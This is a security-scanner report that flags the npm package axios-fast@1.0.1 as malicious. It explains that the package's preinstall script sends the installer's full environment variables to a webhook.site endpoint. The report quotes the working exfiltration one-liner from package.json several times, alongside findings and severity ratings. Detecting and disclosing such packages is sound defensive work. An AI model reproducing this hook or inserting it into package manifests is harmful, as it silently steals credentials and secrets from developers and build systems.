Loading npm security reports…

axios-fast@1.0.1: Malicious npm security report (Block) | LPM Firewall

registry / axios-fast / 1.0.1

axios-fast@1.0.1

HTTP client nativo com fetch e UI simples para testar requisições

AI Security Review

scanned 22h ago · by lpm-firewall-ai

Installing the package triggers an automatic environment-data POST to an external webhook. The runtime HTTP client is user-directed.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, before package installation completes

Impact

Potential disclosure of credentials and configuration from the install environment.

Mechanism

preinstall environment exfiltration via fetch

Attack narrative

The package manifest registers a preinstall command, so npm invokes Node during installation without an explicit runtime call by the consumer. That command serializes process.env and POSTs it to a third-party webhook.site URL, while swallowing errors. This is a concrete credential/configuration exfiltration path; the normal HTTP-client source does not mitigate the install-time behavior.

Rationale

Direct manifest inspection confirms an automatic preinstall hook that exfiltrates the complete process environment to an unrelated external webhook. This is concrete malicious install-time credential/data exfiltration.

Evidence

package.jsonsrc/http-client.jsindex.jsapp.jsREADME.mdindex.html

Network endpoints1

webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/

OSV Corroboration

Source & flagged code

6 flagged

package.jsonView file

Lines 1-19json

2 "name": "axios-fast",

3 "version": "1.0.1",

4 "description": "HTTP client nativo com fetch e UI simples para testar requisições",

5 "type": "module",

6 "main": "index.js",

7 "exports": {

8 ".": "./index.js",

9 "./src/http-client": "./src/http-client.js"

10 },

11 "scripts": {

12 "start": "python3 -m http.server 3000",

13 "test": "node --test",

14 "preinstall": "node -e \"fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});\""

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L14

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L14

High

Suspicious Lifecycle Evidence

package.json defines a preinstall hook that executes automatically during npm installation.

package.jsonView on unpkg · L11

High

Ai Review Evidence

The hook POSTs serialized process.env data to a unique webhook.site endpoint and suppresses failures.

package.jsonView on unpkg · L14

15 },

16 "author": "",

17 "license": "MIT"

18}

package.json#scripts.preinstallView file

•scripts.preinstall = node -e "fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});"

High

Manifest Script External Callback

An npm script contacts a known out-of-band callback or webhook service.

package.json#scripts.preinstallView on unpkg

High

Manifest Script Environment Exfiltration

An npm script serializes the process environment and posts it to an external host.

package.json#scripts.preinstallView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"scripts": { "start": "python3 -m http.server 3000", "test": "node --test", "preinstall": "node -e \"fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});\""

High

Suspicious Lifecycle Evidence

package.json defines a preinstall hook that executes automatically during npm installation.

package.jsonView on unpkg · L11

14"preinstall": "node -e \"fetch('https://webhook.site/31e82bcd-a220-42e6-82f0-4f082e8fa80e/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ nodeEnv: process.env }) }).catch(() => {});\""

High

Ai Review Evidence

The hook POSTs serialized process.env data to a unique webhook.site endpoint and suppresses failures.

package.jsonView on unpkg · L14

package.json#scripts.preinstallView file

High

Manifest Script External Callback

An npm script contacts a known out-of-band callback or webhook service.

package.json#scripts.preinstallView on unpkg

High

Manifest Script Environment Exfiltration

An npm script serializes the process environment and posts it to an external host.

package.json#scripts.preinstallView on unpkg

Source & flagged code

6 flagged

package.jsonView file

Lines 1-19json

2 "name": "axios-fast",

3 "version": "1.0.1",

4 "description": "HTTP client nativo com fetch e UI simples para testar requisições",

5 "type": "module",

6 "main": "index.js",

7 "exports": {

8 ".": "./index.js",

9 "./src/http-client": "./src/http-client.js"

10 },

11 "scripts": {

12 "start": "python3 -m http.server 3000",

13 "test": "node --test",

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L14

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L14

High

Suspicious Lifecycle Evidence

package.json defines a preinstall hook that executes automatically during npm installation.

package.jsonView on unpkg · L11

High

Ai Review Evidence

The hook POSTs serialized process.env data to a unique webhook.site endpoint and suppresses failures.

package.jsonView on unpkg · L14

15 },

16 "author": "",

17 "license": "MIT"

18}

package.json#scripts.preinstallView file

High

Manifest Script External Callback

An npm script contacts a known out-of-band callback or webhook service.

package.json#scripts.preinstallView on unpkg

High

Manifest Script Environment Exfiltration

An npm script serializes the process environment and posts it to an external host.

package.json#scripts.preinstallView on unpkg

axios-fast@1.0.1

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code